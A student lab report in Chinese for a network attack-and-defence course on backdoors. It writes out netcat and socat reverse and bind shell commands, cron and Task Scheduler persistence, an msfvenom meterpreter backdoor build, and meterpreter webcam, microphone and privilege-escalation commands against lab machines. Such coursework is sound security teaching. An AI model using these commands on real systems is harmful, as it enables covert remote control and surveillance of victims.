2018-2019-2 20165334《网络对抗技术》Exp2 后门原理与实践
后门原理与实践
相关工具介绍
ncat
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
任务一:Windows获得Linux Shell
步骤
-
使用ncat.exe程序监听本机的
5334
端口ncat.exe -l -p 5334
-
在Kali环境下,使用nc指令的-e选项反向连接Windows主机的
5334
端口nc 192.168.115.130 5334 -e /bin/sh
-
成功获得Kali的
shell
,如下图所示
任务二:Linux获得Windows Shell
步骤
- 在Kali环境中使用
ifconfig
查看IP: - 使用
ncat
指令监听5303
端口nc -l -p 5334
- 在
Windows
下,使用ncat.exe
程序的-e
选项项反向连接Kali主机的5334
端口ncat.exe -e cmd.exe 192.168.56.101 5334
Kali
下可以看到Windows
的命令提示,可以输入Windows
命令
任务三:使用ncat
传输数据
- Windows下监听
5334
端口:ncat.exe -l -p 5334
- Kali下连接到Windows的
5334
端口ncat 192.168.56.1
- 建立连接之后,进行传输数据测试
使用ncat
进行文件传输
- Windows下监听5334端口,并把收到的数据保存到
f_out中,ncat.exe -l 5318 > f_out
- kali反弹连接到Windows的5334端口,
nc 192.168.56.1 5334 < f_in
- 连接建立成功,Win可以收到kali发来的文件
相关工具介绍
Meterpreter
- -参数说明
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e 使用的编码器,用于对shellcode变形,为了免杀。
- -i 编码器的迭代次数。如上即使用该编码器编码5次。
- -b badchar是payload中需要去除的字符。
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
-
输出到哪个文件
任务一:使用netcat获取主机操作Shell,cron启动(kali作为被攻击者)
- 在Kali中,使用
crontab -e
指令编辑一条定时任务,选择编辑器时选择"34",在底行插入,意思是在每个小时的第26分钟反向连接Windows主机的5334端口 - 在
cmd
中使用ls
进行验证
任务二:使用socat获取主机操作Shell, 任务计划启动
socat
-
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个ddress
是必选项,而options
是可选项。
- ocat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数``address```就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。 -
在任务计划程序创建任务,填写任务名称,并新建一个触发器
-
在操作->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5334 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5334
,同时把cmd.exe
的stderr
重定向到stdout
上
-
创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
-
在Kali环境下输入指令
socat tcp:172.30.4.253:5334
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5334端口,此时可以发现已经成功获得了一个cmd shell
:
任务三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=5334 -f exe > 20165334_backdoor.exe
(IP为kali的IP)生成后门程序20165334_backdoor.exe
- 在Windows中使用
ncat.exe -lv 5334 > 20165334_backdoor.exe
查看连接状态 - kali中输入
nc 192.168.56.1 5334 < 20165334_backdoor.exe
(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机上
- 在Kali上使用
msfconsole
指令进入msf控制台,使用监听模块,设置payload
,设置反弹回连的IP和端口
运行Windows下的后门程序20165334_backdoor
- 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
- 使用
record_mic
指令可以截获一段音频 - 使用
webcam_snap
指令可以使用摄像头进行拍照 - 使用
screenshot
指令可以进行截屏
先使用getuid
指令查看当前用户,使用getsystem
指令进行提权
问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 非官方网站下载程序,后门被捆绑在软件中
- 意外点击钓鱼网站
- U盘插入
(2)例举你知道的后门如何启动起来(win及linux)的方式? - win任务计划启动
- linux cron启动
(3)Meterpreter有哪些给你映像深刻的功能?
远程开启摄像头、录音、获取shell
(4)如何发现自己有系统有没有被安装后门?
利用杀毒软件检查,全盘查杀。
实验中遇到的问题及思考
我可以确定防火墙关闭了,然后尝试互相ping
结果发现Linux可以ping通windows但windows不能ping通linux,参考文章解决相关问题,做了以下修改。